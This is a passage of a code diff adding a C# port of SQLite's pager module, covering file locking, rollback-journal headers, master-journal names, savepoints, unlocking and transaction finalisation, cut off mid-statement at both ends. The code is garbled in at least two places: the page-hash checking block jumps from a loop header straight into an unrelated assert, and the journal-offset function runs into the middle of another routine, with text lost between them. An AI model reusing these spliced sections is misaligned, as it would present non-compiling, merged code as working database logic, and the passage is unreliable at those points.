rc; + } + + /* + ** Lock the database file to level eLock, which must be either SHARED_LOCK, + ** RESERVED_LOCK or EXCLUSIVE_LOCK. If the caller is successful, set the + ** Pager.eLock variable to the new locking state. + ** + ** Except, if Pager.eLock is set to UNKNOWN_LOCK when this function is + ** called, do not modify it unless the new locking state is EXCLUSIVE_LOCK. + ** See the comment above the #define of UNKNOWN_LOCK for an explanation + ** of this. + */ + static int pagerLockDb( Pager pPager, int eLock ) + { + int rc = SQLITE_OK; + + Debug.Assert( eLock == SHARED_LOCK || eLock == RESERVED_LOCK || eLock == EXCLUSIVE_LOCK ); + if ( pPager.eLock < eLock || pPager.eLock == UNKNOWN_LOCK ) + { + rc = sqlite3OsLock( pPager.fd, eLock ); + if ( rc == SQLITE_OK && ( pPager.eLock != UNKNOWN_LOCK || eLock == EXCLUSIVE_LOCK ) ) + { + pPager.eLock = (u8)eLock; + IOTRACE( "LOCK %p %d\n", pPager, eLock ); + } + } + return rc; + } + + /* + ** This function determines whether or not the atomic-write optimization + ** can be used with this pager. The optimization can be used if: + ** + ** (a) the value returned by OsDeviceCharacteristics() indicates that + ** a database page may be written atomically, and + ** (b) the value returned by OsSectorSize() is less than or equal + ** to the page size. + ** + ** The optimization is also always enabled for temporary files. It is + ** an error to call this function if pPager is opened on an in-memory + ** database. + ** + ** If the optimization cannot be used, 0 is returned. If it can be used, + ** then the value returned is the size of the journal file when it + ** contains rollback data for exactly one page. + */ +#if SQLITE_ENABLE_ATOMIC_WRITE +static int jrnlBufferSize(Pager *pPager){ +Debug.Assert( 0==MEMDB ); +if( !pPager.tempFile ){ +int dc; /* Device characteristics */ +int nSector; /* Sector size */ +int szPage; /* Page size */ + +Debug.Assert( isOpen(pPager.fd) ); +dc = sqlite3OsDeviceCharacteristics(pPager.fd); +nSector = pPager.sectorSize; +szPage = pPager.pageSize; + +Debug.Assert(SQLITE_IOCAP_ATOMIC512==(512>>8)); +Debug.Assert(SQLITE_IOCAP_ATOMIC64K==(65536>>8)); +if( 0==(dc&(SQLITE_IOCAP_ATOMIC|(szPage>>8)) || nSector>szPage) ){ +return 0; +} +} + +return JOURNAL_HDR_SZ(pPager) + JOURNAL_PG_SZ(pPager); +} +#endif + + /* +** If SQLITE_CHECK_PAGES is defined then we do some sanity checking +** on the cache using a hash function. This is used for testing +** and debugging only. +*/ +#if SQLITE_CHECK_PAGES +/* +** Return a 32-bit hash of the page data for pPage. +*/ +static u32 pager_datahash(int nByte, unsigned char pData){ +u32 hash = 0; +int i; +for(i=0; ieState!=PAGER_ERROR ); +assert( (pPg->flags&PGHDR_DIRTY) || pPg->pageHash==pager_pagehash(pPg) ); +} + +#else + //#define pager_datahash(X,Y) 0 + static int pager_datahash( int X, byte[] Y ) + { + return 0; + } + + //#define pager_pagehash(X) 0 + static int pager_pagehash( PgHdr X ) + { + return 0; + } + + //#define pager_set_pagehash(X) + static void pager_set_pagehash( PgHdr X ) + { + } + + //#define CHECK_PAGE(x) +#endif //* SQLITE_CHECK_PAGES */ + + + /* +** When this is called the journal file for pager pPager must be open. +** This function attempts to read a master journal file name from the +** end of the file and, if successful, copies it into memory supplied +** by the caller. See comments above writeMasterJournal() for the format +** used to store a master journal file name at the end of a journal file. +** +** zMaster must point to a buffer of at least nMaster bytes allocated by +** the caller. This should be sqlite3_vfs.mxPathname+1 (to ensure there is +** enough space to write the master journal name). If the master journal +** name in the journal is longer than nMaster bytes (including a +** nul-terminator), then this is handled as if no master journal name +** were present in the journal. +** +** If a master journal file name is present at the end of the journal +** file, then it is copied into the buffer pointed to by zMaster. A +** nul-terminator byte is appended to the buffer following the master +** journal file name. +** +** If it is determined that no master journal file name is present +** zMaster[0] is set to 0 and SQLITE_OK returned. +** +** If an error occurs while reading from the journal file, an SQLite +** error code is returned. +*/ + static int readMasterJournal( sqlite3_file pJrnl, byte[] zMaster, u32 nMaster ) + { + int rc; /* Return code */ + int len = 0; /* Length in bytes of master journal name */ + i64 szJ = 0; /* Total size in bytes of journal file pJrnl */ + u32 cksum = 0; /* MJ checksum value read from journal */ + int u; /* Unsigned loop counter */ + byte[] aMagic = new byte[8]; /* A buffer to hold the magic header */ + + zMaster[0] = 0; + + if ( SQLITE_OK != ( rc = sqlite3OsFileSize( pJrnl, ref szJ ) ) + || szJ < 16 + || SQLITE_OK != ( rc = read32bits( pJrnl, (int)( szJ - 16 ), ref len ) ) + || len >= nMaster + || SQLITE_OK != ( rc = read32bits( pJrnl, szJ - 12, ref cksum ) ) + || SQLITE_OK != ( rc = sqlite3OsRead( pJrnl, aMagic, 8, szJ - 8 ) ) + || memcmp( aMagic, aJournalMagic, 8 ) != 0 + || SQLITE_OK != ( rc = sqlite3OsRead( pJrnl, zMaster, len, (long)( szJ - 16 - len ) ) ) + ) + { + return rc; + } + + /* See if the checksum matches the master journal name */ + for ( u = 0; u < len; u++ ) + { + cksum -= zMaster[u]; + } + if ( cksum != 0 ) + { + /* If the checksum doesn't add up, then one or more of the disk sectors + ** containing the master journal filename is corrupted. This means + ** definitely roll back, so just return SQLITE_OK and report a (nul) + ** master-journal filename. + */ + len = 0; + } + if ( len == 0 ) + zMaster[0] = 0; + + return SQLITE_OK; + } + + /* + ** Return the offset of the sector boundary at or immediately + ** following the value in pPager.journalOff, assuming a sector + ** size of pPager.sectorSize bytes. + ** + ** i.e for a sector size of 512: + ** + ** Pager.journalOff Return value + ** --------------------------------------- + ** 0 0 + ** 512 512 + ** 100 512 + ** 2000 2048 + ** + */ + static i64 journalHdrOffset( Pager pPager ) + { + i64 offset = 0; + i64 c = pPager.journalOff; + if ( c != 0 ) + { + offset = (int)( ( ( c - 1 ) / pPager.sectorSize + 1 ) * pPager.sectorSize );//offset = ((c-1)/JOURNAL_HDR_SZ(pPager) + 1) * JOURNAL_HDR_SZ(pPager); + } + Debug.Assert( offset % pPager.sectorSize == 0 ); //Debug.Assert(offset % JOURNAL_HDR_SZ(pPager) == 0); + Debug.Assert( offset >= c ); + Debug.Assert( ( offset - c ) < pPager.sectorSize );//Debug.Assert( (offset-c) 0 ) + { + i64 sz = 0; + rc = sqlite3OsFileSize( pPager.jfd, ref sz ); + if ( rc == SQLITE_OK && sz > iLimit ) + { + rc = sqlite3OsTruncate( pPager.jfd, iLimit ); + } + } + } + return rc; + } + + /* + ** The journal file must be open when this routine is called. A journal + ** header (JOURNAL_HDR_SZ bytes) is written into the journal file at the + ** current location. + ** + ** The format for the journal header is as follows: + ** - 8 bytes: Magic identifying journal format. + ** - 4 bytes: Number of records in journal, or -1 no-sync mode is on. + ** - 4 bytes: Random number used for page hash. + ** - 4 bytes: Initial database page count. + ** - 4 bytes: Sector size used by the process that wrote this journal. + ** - 4 bytes: Database page size. + ** + ** Followed by (JOURNAL_HDR_SZ - 28) bytes of unused space. + */ + static int writeJournalHdr( Pager pPager ) + { + + int rc = SQLITE_OK; /* Return code */ + byte[] zHeader = pPager.pTmpSpace; /* Temporary space used to build header */ + u32 nHeader = (u32)pPager.pageSize; /* Size of buffer pointed to by zHeader */ + u32 nWrite; /* Bytes of header sector written */ + int ii; /* Loop counter */ + + Debug.Assert( isOpen( pPager.jfd ) ); /* Journal file must be open. */ + + if ( nHeader > JOURNAL_HDR_SZ( pPager ) ) + { + nHeader = JOURNAL_HDR_SZ( pPager ); + } + /* If there are active savepoints and any of them were created + ** since the most recent journal header was written, update the + ** PagerSavepoint.iHdrOffset fields now. + */ + for ( ii = 0; ii < pPager.nSavepoint; ii++ ) + { + if ( pPager.aSavepoint[ii].iHdrOffset == 0 ) + { + pPager.aSavepoint[ii].iHdrOffset = pPager.journalOff; + } + } + pPager.journalHdr = pPager.journalOff = journalHdrOffset( pPager ); + + /* + ** Write the nRec Field - the number of page records that follow this + ** journal header. Normally, zero is written to this value at this time. + ** After the records are added to the journal (and the journal synced, + ** if in full-sync mode), the zero is overwritten with the true number + ** of records (see syncJournal()). + ** + ** A faster alternative is to write 0xFFFFFFFF to the nRec field. When + ** reading the journal this value tells SQLite to assume that the + ** rest of the journal file contains valid page records. This assumption + ** is dangerous, as if a failure occurred whilst writing to the journal + ** file it may contain some garbage data. There are two scenarios + ** where this risk can be ignored: + ** + ** * When the pager is in no-sync mode. Corruption can follow a + ** power failure in this case anyway. + ** + ** * When the SQLITE_IOCAP_SAFE_APPEND flag is set. This guarantees + ** that garbage data is never appended to the journal file. + */ + Debug.Assert( isOpen( pPager.fd ) || pPager.noSync ); + if ( pPager.noSync || ( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ) + || ( sqlite3OsDeviceCharacteristics( pPager.fd ) & SQLITE_IOCAP_SAFE_APPEND ) != 0 + ) + { + aJournalMagic.CopyTo( zHeader, 0 );// memcpy(zHeader, aJournalMagic, sizeof(aJournalMagic)); + put32bits( zHeader, aJournalMagic.Length, 0xffffffff ); + } + else + { + Array.Clear( zHeader, 0, aJournalMagic.Length + 4 );//memset(zHeader, 0, sizeof(aJournalMagic)+4); + } + + /* The random check-hash initialiser */ + i64 i64Temp = 0; + sqlite3_randomness( sizeof( i64 ), ref i64Temp ); + pPager.cksumInit = (u32)i64Temp; + put32bits( zHeader, aJournalMagic.Length + 4, pPager.cksumInit ); + /* The initial database size */ + put32bits( zHeader, aJournalMagic.Length + 8, pPager.dbOrigSize ); + /* The assumed sector size for this process */ + put32bits( zHeader, aJournalMagic.Length + 12, pPager.sectorSize ); + /* The page size */ + put32bits( zHeader, aJournalMagic.Length + 16, (u32)pPager.pageSize ); + + /* Initializing the tail of the buffer is not necessary. Everything + ** works find if the following memset() is omitted. But initializing + ** the memory prevents valgrind from complaining, so we are willing to + ** take the performance hit. + */ + // memset(&zHeader[sizeof(aJournalMagic)+20], 0, + // nHeader-(sizeof(aJournalMagic)+20)); + Array.Clear( zHeader, aJournalMagic.Length + 20, (int)nHeader - ( aJournalMagic.Length + 20 ) ); + + /* In theory, it is only necessary to write the 28 bytes that the + ** journal header consumes to the journal file here. Then increment the + ** Pager.journalOff variable by JOURNAL_HDR_SZ so that the next + ** record is written to the following sector (leaving a gap in the file + ** that will be implicitly filled in by the OS). + ** + ** However it has been discovered that on some systems this pattern can + ** be significantly slower than contiguously writing data to the file, + ** even if that means explicitly writing data to the block of + ** (JOURNAL_HDR_SZ - 28) bytes that will not be used. So that is what + ** is done. + ** + ** The loop is required here in case the sector-size is larger than the + ** database page size. Since the zHeader buffer is only Pager.pageSize + ** bytes in size, more than one call to sqlite3OsWrite() may be required + ** to populate the entire journal header sector. + */ + for ( nWrite = 0; rc == SQLITE_OK && nWrite < JOURNAL_HDR_SZ( pPager ); nWrite += nHeader ) + { + IOTRACE( "JHDR %p %lld %d\n", pPager, pPager.journalHdr, nHeader ); + rc = sqlite3OsWrite( pPager.jfd, zHeader, (int)nHeader, pPager.journalOff ); + Debug.Assert( pPager.journalHdr <= pPager.journalOff ); + pPager.journalOff += (int)nHeader; + } + return rc; + } + + /* + ** The journal file must be open when this is called. A journal header file + ** (JOURNAL_HDR_SZ bytes) is read from the current location in the journal + ** file. The current location in the journal file is given by + ** pPager.journalOff. See comments above function writeJournalHdr() for + ** a description of the journal header format. + ** + ** If the header is read successfully, *pNRec is set to the number of + ** page records following this header and *pDbSize is set to the size of the + ** database before the transaction began, in pages. Also, pPager.cksumInit + ** is set to the value read from the journal header. SQLITE_OK is returned + ** in this case. + ** + ** If the journal header file appears to be corrupted, SQLITE_DONE is + ** returned and *pNRec and *PDbSize are undefined. If JOURNAL_HDR_SZ bytes + ** cannot be read from the journal file an error code is returned. + */ + static int readJournalHdr( + Pager pPager, /* Pager object */ + int isHot, + i64 journalSize, /* Size of the open journal file in bytes */ + out u32 pNRec, /* OUT: Value read from the nRec field */ + out u32 pDbSize /* OUT: Value of original database size field */ + ) + { + int rc; /* Return code */ + byte[] aMagic = new byte[8]; /* A buffer to hold the magic header */ + i64 iHdrOff; /* Offset of journal header being read */ + + Debug.Assert( isOpen( pPager.jfd ) ); /* Journal file must be open. */ + + pNRec = 0; + pDbSize = 0; + + /* Advance Pager.journalOff to the start of the next sector. If the + ** journal file is too small for there to be a header stored at this + ** point, return SQLITE_DONE. + */ + pPager.journalOff = journalHdrOffset( pPager ); + if ( pPager.journalOff + JOURNAL_HDR_SZ( pPager ) > journalSize ) + { + return SQLITE_DONE; + } + iHdrOff = pPager.journalOff; + + /* Read in the first 8 bytes of the journal header. If they do not match + ** the magic string found at the start of each journal header, return + ** SQLITE_DONE. If an IO error occurs, return an error code. Otherwise, + ** proceed. + */ + if ( isHot != 0 || iHdrOff != pPager.journalHdr ) + { + rc = sqlite3OsRead( pPager.jfd, aMagic, aMagic.Length, iHdrOff ); + if ( rc != 0 ) + { + return rc; + } + if ( memcmp( aMagic, aJournalMagic, aMagic.Length ) != 0 ) + { + return SQLITE_DONE; + } + } + /* Read the first three 32-bit fields of the journal header: The nRec + ** field, the checksum-initializer and the database size at the start + ** of the transaction. Return an error code if anything goes wrong. + */ + if ( SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 8, ref pNRec ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 12, ref pPager.cksumInit ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 16, ref pDbSize ) ) + ) + { + return rc; + } + + if ( pPager.journalOff == 0 ) + { + u32 iPageSize = 0; /* Page-size field of journal header */ + u32 iSectorSize = 0; /* Sector-size field of journal header */ + + /* Read the page-size and sector-size journal header fields. */ + if ( SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 20, ref iSectorSize ) ) + || SQLITE_OK != ( rc = read32bits( pPager.jfd, iHdrOff + 24, ref iPageSize ) ) + ) + { + return rc; + } + + /* Versions of SQLite prior to 3.5.8 set the page-size field of the + ** journal header to zero. In this case, assume that the Pager.pageSize + ** variable is already set to the correct page size. + */ + if ( iPageSize == 0 ) + { + iPageSize = (u32)pPager.pageSize; + } + + /* Check that the values read from the page-size and sector-size fields + ** are within range. To be 'in range', both values need to be a power + ** of two greater than or equal to 512 or 32, and not greater than their + ** respective compile time maximum limits. + */ + if ( iPageSize < 512 || iSectorSize < 32 + || iPageSize > SQLITE_MAX_PAGE_SIZE || iSectorSize > MAX_SECTOR_SIZE + || ( ( iPageSize - 1 ) & iPageSize ) != 0 || ( ( iSectorSize - 1 ) & iSectorSize ) != 0 + ) + { + /* If the either the page-size or sector-size in the journal-header is + ** invalid, then the process that wrote the journal-header must have + ** crashed before the header was synced. In this case stop reading + ** the journal file here. + */ + return SQLITE_DONE; + } + + /* Update the page-size to match the value read from the journal. + ** Use a testcase() macro to make sure that malloc failure within + ** PagerSetPagesize() is tested. + */ + rc = sqlite3PagerSetPagesize( pPager, ref iPageSize, -1 ); + testcase( rc != SQLITE_OK ); + + /* Update the assumed sector-size to match the value used by + ** the process that created this journal. If this journal was + ** created by a process other than this one, then this routine + ** is being called from within pager_playback(). The local value + ** of Pager.sectorSize is restored at the end of that routine. + */ + pPager.sectorSize = iSectorSize; + } + + pPager.journalOff += (int)JOURNAL_HDR_SZ( pPager ); + return rc; + } + + /* + ** Write the supplied master journal name into the journal file for pager + ** pPager at the current location. The master journal name must be the last + ** thing written to a journal file. If the pager is in full-sync mode, the + ** journal file descriptor is advanced to the next sector boundary before + ** anything is written. The format is: + ** + ** + 4 bytes: PAGER_MJ_PGNO. + ** + N bytes: Master journal filename in utf-8. + ** + 4 bytes: N (length of master journal name in bytes, no nul-terminator). + ** + 4 bytes: Master journal name checksum. + ** + 8 bytes: aJournalMagic[]. + ** + ** The master journal page checksum is the sum of the bytes in the master + ** journal name, where each byte is interpreted as a signed 8-bit integer. + ** + ** If zMaster is a NULL pointer (occurs for a single database transaction), + ** this call is a no-op. + */ + static int writeMasterJournal( Pager pPager, string zMaster ) + { + int rc; /* Return code */ + int nMaster; /* Length of string zMaster */ + i64 iHdrOff; /* Offset of header in journal file */ + i64 jrnlSize = 0; /* Size of journal file on disk */ + u32 cksum = 0; /* Checksum of string zMaster */ + + Debug.Assert( pPager.setMaster == 0 ); + Debug.Assert( !pagerUseWal( pPager ) ); + if ( null == zMaster + || pPager.journalMode == PAGER_JOURNALMODE_MEMORY + || pPager.journalMode == PAGER_JOURNALMODE_OFF + ) + { + return SQLITE_OK; + } + + pPager.setMaster = 1; + Debug.Assert( isOpen( pPager.jfd ) ); + Debug.Assert( pPager.journalHdr <= pPager.journalOff ); + + /* Calculate the length in bytes and the checksum of zMaster */ + for ( nMaster = 0; nMaster < zMaster.Length && zMaster[nMaster] != 0; nMaster++ ) + { + cksum += zMaster[nMaster]; + } + + /* If in full-sync mode, advance to the next disk sector before writing + ** the master journal name. This is in case the previous page written to + ** the journal has already been synced. + */ + if ( pPager.fullSync ) + { + pPager.journalOff = journalHdrOffset( pPager ); + } + iHdrOff = pPager.journalOff; + /* Write the master journal data to the end of the journal file. If + ** an error occurs, return the error code to the caller. + */ + if ( ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff, (u32)PAGER_MJ_PGNO( pPager ) ) ) ) + || ( 0 != ( rc = sqlite3OsWrite( pPager.jfd, Encoding.UTF8.GetBytes( zMaster ), nMaster, iHdrOff + 4 ) ) ) + || ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff + 4 + nMaster, (u32)nMaster ) ) ) + || ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff + 4 + nMaster + 4, cksum ) ) ) + || ( 0 != ( rc = sqlite3OsWrite( pPager.jfd, aJournalMagic, 8, iHdrOff + 4 + nMaster + 8 ) ) ) + ) + { + return rc; + } + pPager.journalOff += ( nMaster + 20 ); + + /* If the pager is in peristent-journal mode, then the physical + ** journal-file may extend past the end of the master-journal name + ** and 8 bytes of magic data just written to the file. This is + ** dangerous because the code to rollback a hot-journal file + ** will not be able to find the master-journal name to determine + ** whether or not the journal is hot. + ** + ** Easiest thing to do in this scenario is to truncate the journal + ** file to the required size. + */ + if ( SQLITE_OK == ( rc = sqlite3OsFileSize( pPager.jfd, ref jrnlSize ) ) + && jrnlSize > pPager.journalOff + ) + { + rc = sqlite3OsTruncate( pPager.jfd, pPager.journalOff ); + } + + return rc; + } + + /* + ** Find a page in the hash table given its page number. Return + ** a pointer to the page or NULL if the requested page is not + ** already in memory. + */ + static PgHdr pager_lookup( Pager pPager, u32 pgno ) + { + PgHdr p = null; /* Return value */ + /* It is not possible for a call to PcacheFetch() with createFlag==0 to + ** fail, since no attempt to allocate dynamic memory will be made. + */ + sqlite3PcacheFetch( pPager.pPCache, pgno, 0, ref p ); + return p; + } + + /* + ** Discard the entire contents of the in-memory page-cache. + */ + static void pager_reset( Pager pPager ) + { + sqlite3BackupRestart( pPager.pBackup ); + sqlite3PcacheClear( pPager.pPCache ); + } + + /* + ** Free all structures in the Pager.aSavepoint[] array and set both + ** Pager.aSavepoint and Pager.nSavepoint to zero. Close the sub-journal + ** if it is open and the pager is not in exclusive mode. + */ + static void releaseAllSavepoints( Pager pPager ) + { + int ii; /* Iterator for looping through Pager.aSavepoint */ + for ( ii = 0; ii < pPager.nSavepoint; ii++ ) + { + sqlite3BitvecDestroy( ref pPager.aSavepoint[ii].pInSavepoint ); + } + if ( !pPager.exclusiveMode || sqlite3IsMemJournal( pPager.sjfd ) ) + { + sqlite3OsClose( pPager.sjfd ); + } + //sqlite3_free( ref pPager.aSavepoint ); + pPager.aSavepoint = null; + pPager.nSavepoint = 0; + pPager.nSubRec = 0; + } + + /* + ** Set the bit number pgno in the PagerSavepoint.pInSavepoint + ** bitvecs of all open savepoints. Return SQLITE_OK if successful + ** or SQLITE_NOMEM if a malloc failure occurs. + */ + static int addToSavepointBitvecs( Pager pPager, u32 pgno ) + { + int ii; /* Loop counter */ + int rc = SQLITE_OK; /* Result code */ + + for ( ii = 0; ii < pPager.nSavepoint; ii++ ) + { + PagerSavepoint p = pPager.aSavepoint[ii]; + if ( pgno <= p.nOrig ) + { + rc |= sqlite3BitvecSet( p.pInSavepoint, pgno ); + testcase( rc == SQLITE_NOMEM ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_NOMEM ); + } + } + return rc; + } + + /* + ** This function is a no-op if the pager is in exclusive mode and not + ** in the ERROR state. Otherwise, it switches the pager to PAGER_OPEN + ** state. + ** + ** If the pager is not in exclusive-access mode, the database file is + ** completely unlocked. If the file is unlocked and the file-system does + ** not exhibit the UNDELETABLE_WHEN_OPEN property, the journal file is + ** closed (if it is open). + ** + ** If the pager is in ERROR state when this function is called, the + ** contents of the pager cache are discarded before switching back to + ** the OPEN state. Regardless of whether the pager is in exclusive-mode + ** or not, any journal file left in the file-system will be treated + ** as a hot-journal and rolled back the next time a read-transaction + ** is opened (by this or by any other connection). + */ + static void pager_unlock( Pager pPager ) + { + + Debug.Assert( pPager.eState == PAGER_READER + || pPager.eState == PAGER_OPEN + || pPager.eState == PAGER_ERROR + ); + + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + releaseAllSavepoints( pPager ); + + if ( pagerUseWal( pPager ) ) + { + Debug.Assert( !isOpen( pPager.jfd ) ); + sqlite3WalEndReadTransaction( pPager.pWal ); + pPager.eState = PAGER_OPEN; + } + else if ( !pPager.exclusiveMode ) + { + int rc; /* Error code returned by pagerUnlockDb() */ + int iDc = isOpen( pPager.fd ) ? sqlite3OsDeviceCharacteristics( pPager.fd ) : 0; + + /* If the operating system support deletion of open files, then + ** close the journal file when dropping the database lock. Otherwise + ** another connection with journal_mode=delete might delete the file + ** out from under us. + */ + Debug.Assert( ( PAGER_JOURNALMODE_MEMORY & 5 ) != 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_OFF & 5 ) != 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_WAL & 5 ) != 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_DELETE & 5 ) != 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_TRUNCATE & 5 ) == 1 ); + Debug.Assert( ( PAGER_JOURNALMODE_PERSIST & 5 ) == 1 ); + if ( 0 == ( iDc & SQLITE_IOCAP_UNDELETABLE_WHEN_OPEN ) + || 1 != ( pPager.journalMode & 5 ) + ) + { + sqlite3OsClose( pPager.jfd ); + } + + + /* If the pager is in the ERROR state and the call to unlock the database + ** file fails, set the current lock to UNKNOWN_LOCK. See the comment + ** above the #define for UNKNOWN_LOCK for an explanation of why this + ** is necessary. + */ + rc = pagerUnlockDb( pPager, NO_LOCK ); + if ( rc != SQLITE_OK && pPager.eState == PAGER_ERROR ) + { + pPager.eLock = UNKNOWN_LOCK; + } + + /* The pager state may be changed from PAGER_ERROR to PAGER_OPEN here + ** without clearing the error code. This is intentional - the error + ** code is cleared and the cache reset in the block below. + */ + Debug.Assert( pPager.errCode != 0 || pPager.eState != PAGER_ERROR ); + pPager.changeCountDone = false; + pPager.eState = PAGER_OPEN; + } + + /* If Pager.errCode is set, the contents of the pager cache cannot be + ** trusted. Now that there are no outstanding references to the pager, + ** it can safely move back to PAGER_OPEN state. This happens in both + ** normal and exclusive-locking mode. + */ + if ( pPager.errCode != 0 ) + { + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + pager_reset( pPager ); + pPager.changeCountDone = pPager.tempFile; + pPager.eState = PAGER_OPEN; + pPager.errCode = SQLITE_OK; + } + + pPager.journalOff = 0; + pPager.journalHdr = 0; + pPager.setMaster = 0; + } + + /* + ** This function is called whenever an IOERR or FULL error that requires + ** the pager to transition into the ERROR state may ahve occurred. + ** The first argument is a pointer to the pager structure, the second + ** the error-code about to be returned by a pager API function. The + ** value returned is a copy of the second argument to this function. + ** + ** If the second argument is SQLITE_FULL, SQLITE_IOERR or one of the + ** IOERR sub-codes, the pager enters the ERROR state and the error code + ** is stored in Pager.errCode. While the pager remains in the ERROR state, + ** all major API calls on the Pager will immediately return Pager.errCode. + ** + ** The ERROR state indicates that the contents of the pager-cache + ** cannot be trusted. This state can be cleared by completely discarding + ** the contents of the pager-cache. If a transaction was active when + ** the persistent error occurred, then the rollback journal may need + ** to be replayed to restore the contents of the database file (as if + ** it were a hot-journal). + */ + static int pager_error( Pager pPager, int rc ) + { + int rc2 = rc & 0xff; + Debug.Assert( rc == SQLITE_OK || +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( + pPager.errCode == SQLITE_FULL || + pPager.errCode == SQLITE_OK || + ( pPager.errCode & 0xff ) == SQLITE_IOERR + ); + if ( + rc2 == SQLITE_FULL || rc2 == SQLITE_IOERR ) + { + pPager.errCode = rc; + pPager.eState = PAGER_ERROR; + } + return rc; + } + + /* + ** This routine ends a transaction. A transaction is usually ended by + ** either a COMMIT or a ROLLBACK operation. This routine may be called + ** after rollback of a hot-journal, or if an error occurs while opening + ** the journal file or writing the very first journal-header of a + ** database transaction. + ** + ** This routine is never called in PAGER_ERROR state. If it is called + ** in PAGER_NONE or PAGER_SHARED state and the lock held is less + ** exclusive than a RESERVED lock, it is a no-op. + ** + ** Otherwise, any active savepoints are released. + ** + ** If the journal file is open, then it is "finalized". Once a journal + ** file has been finalized it is not possible to use it to roll back a + ** transaction. Nor will it be considered to be a hot-journal by this + ** or any other database connection. Exactly how a journal is finalized + ** depends on whether or not the pager is running in exclusive mode and + ** the current journal-mode (Pager.journalMode value), as follows: + ** + ** journalMode==MEMORY + ** Journal file descriptor is simply closed. This destroys an + ** in-memory journal. + ** + ** journalMode==TRUNCATE + ** Journal file is truncated to zero bytes in size. + ** + ** journalMode==PERSIST + ** The first 28 bytes of the journal file are zeroed. This invalidates + ** the first journal header in the file, and hence the entire journal + ** file. An invalid journal file cannot be rolled back. + ** + ** journalMode==DELETE + ** The journal file is closed and deleted using sqlite3OsDelete(). + ** + ** If the pager is running in exclusive mode, this method of finalizing + ** the journal file is never used. Instead, if the journalMode is + ** DELETE and the pager is in exclusive mode, the method described under + ** journalMode==PERSIST is used instead. + ** + ** After the journal is finalized, the pager moves to PAGER_READER state. + ** If running in non-exclusive rollback mode, the lock on the file is + ** downgraded to a SHARED_LOCK. + ** + ** SQLITE_OK is returned if no error occurs. If an error occurs during + ** any of the IO operations to finalize the journal file or unlock the + ** database then the IO error code is returned to the user. If the + ** operation to finalize the journal file fails, then the code still + ** tries to unlock the database file if not in exclusive mode. If the + ** unlock operation fails as well, then the first error code related + ** to the first error encountered (the journal finalization one) is + ** returned. + */ + static int pager_end_transaction( Pager pPager, int hasMaster ) + { + int rc = SQLITE_OK; /* Error code from journal finalization operation */ + int rc2 = SQLITE_OK; /* Error code from db file unlock operation */ + /* Do nothing if the pager does not have an open write transaction + ** or at least a RESERVED lock. This function may be called when there + ** is no write-transaction active but a RESERVED or greater lock is + ** held under two circumstances: + ** + ** 1. After a successful hot-journal rollback, it is called with + ** eState==PAGER_NONE and eLock==EXCLUSIVE_LOCK. + ** + ** 2. If a connection with locking_mode=exclusive holding an EXCLUSIVE + ** lock switches back to locking_mode=normal and then executes a + ** read-transaction, this function is called with eState==PAGER_READER + ** and eLock==EXCLUSIVE_LOCK when the read-transaction is closed. + */ + Debug.Assert( assert_pager_state( pPager ) ); + Debug.Assert( pPager.eState != PAGER_ERROR ); + if ( pPager.eState < PAGER_WRITER_LOCKED && pPager.eLock < RESERVED_LOCK ) + { + return SQLITE_OK; + } + + releaseAllSavepoints( pPager ); + Debug.Assert( isOpen( pPager.jfd ) || pPager.pInJournal == null ); + if ( isOpen( pPager.jfd ) ) + { + Debug.Assert( !pagerUseWal( pPager ) ); + + /* Finalize the journal file. */ + if ( sqlite3IsMemJournal( pPager.jfd ) ) + { + Debug.Assert( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ); + sqlite3OsClose( pPager.jfd ); + } + else if ( pPager.journalMode == PAGER_JOURNALMODE_TRUNCATE ) + { + if ( pPager.journalOff == 0 ) + { + rc = SQLITE_OK; + } + else + { + rc = sqlite3OsTruncate( pPager.jfd, 0 ); + } + pPager.journalOff = 0; + } + else if ( pPager.journalMode == PAGER_JOURNALMODE_PERSIST + || ( pPager.exclusiveMode && pPager.journalMode != PAGER_JOURNALMODE_WAL ) + ) + { + rc = zeroJournalHdr( pPager, hasMaster ); + pPager.journalOff = 0; + } + else + { + /* This branch may be executed with Pager.journalMode==MEMORY if + ** a hot-journal was just rolled back. In this case the journal + ** file should be closed and deleted. If this connection writes to + ** the database file, it will do so using an in-memory journal. + */ + Debug.Assert( pPager.journalMode == PAGER_JOURNALMODE_DELETE + || pPager.journalMode == PAGER_JOURNALMODE_MEMORY + || pPager.journalMode == PAGER_JOURNALMODE_WAL + ); + sqlite3OsClose( pPager.jfd ); + if ( !pPager.tempFile ) + { + rc = sqlite3OsDelete( pPager.pVfs, pPager.zJournal, 0 ); + } + } + } +#if SQLITE_CHECK_PAGES +sqlite3PcacheIterateDirty(pPager.pPCache, pager_set_pagehash); +if( pPager.dbSize==0 && sqlite3PcacheRefCount(pPager.pPCache)>0 ){ +PgHdr p = pager_lookup(pPager, 1); +if( p != null ){ +p.pageHash = null; +sqlite3PagerUnref(p); +} +} +#endif + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + pPager.nRec = 0; + sqlite3PcacheCleanAll( pPager.pPCache ); + sqlite3PcacheTruncate( pPager.pPCache, pPager.dbSize ); + + if ( pagerUseWal( pPager ) ) + { + /* Drop the WAL write-lock, if any. Also, if the connection was in + ** locking_mode=exclusive mode but is no longer, drop the EXCLUSIVE + ** lock held on the database file. + */ + rc2 = sqlite3WalEndWriteTransaction( pPager.pWal ); + Debug.Assert( rc2 == SQLITE_OK ); + } + if ( !pPager.exclusiveMode + && ( !pagerUseWal( pPager ) || sqlite3WalExclusiveMode( pPager.pWal, 0 ) ) + ) + { + rc2 = 